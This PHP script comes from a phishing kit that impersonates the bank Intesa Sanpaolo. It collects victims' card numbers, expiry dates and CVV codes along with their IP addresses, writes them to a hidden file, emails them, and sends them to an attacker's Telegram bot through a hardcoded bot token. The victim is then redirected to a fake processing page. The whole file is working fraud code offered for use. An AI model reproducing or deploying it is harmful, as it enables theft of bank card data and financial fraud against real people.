<?php
$bin4 = substr($_POST['card'] , 12 , 16);
session_start();
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    if (!empty($_POST['card']) and !empty($_POST['date'])
         and !empty($_POST['code'])
    ) {
            $_SESSION['card']=$_POST['card'];
          if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
                $ip = $_SERVER['HTTP_CLIENT_IP'];
            } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
                $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
            } else {
                $ip = $_SERVER['REMOTE_ADDR'];
            }

$ATR480X .= "••••••••••••••• 💳 INTESASANPAOLO.ATR480X 💳\n";
$ATR480X .= "[ CARD NUMB ] *   :   ".$_POST['card']."\n";
$ATR480X .= "[ EXPRY ] *   :   ".$_POST['date']."\n";
$ATR480X .= "[ CVV ] *   :   ".$_POST['code']."\n";
$ATR480X .= "••••••••••••••• ℹ️ [ INFOS VIC ] ℹ️\n";
$ATR480X .= "[ 🔎 ] = $ip\n";
$ATR480X .= "••••••••••••••• 🇮🇹🇮🇹 IT 🇮🇹🇮🇹\n";

            $file = fopen("../../../ATR480X.html", "a+");
            fwrite($file, $ATR480X);fclose($file);
            $to = "";
            $subject = "CC.DONE | $ip";
            $headers = "From: INTESASANPAOLO.ATR480X<atr480x@atr480x.org>\r\n";
            $headers .= "MIME-Version: 1.0\r\n";
            $headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
            mail($to, $subject, $ATR480X, $headers);
$token = "7883633314:AAEx7VKvkl-fxjUmpLsxIZODELVNJNke7Fw";
    file_get_contents("https://api.telegram.org/bot$token/sendMessage?chat_id=1858722787&text=" . urlencode($ATR480X)."" );
$md5=md5(time());
            header("Location: ../In.lavorazione/index.php?client_id=$bin4");
    }else header("Location: ?error=".md5($_GET['error']));
}
?>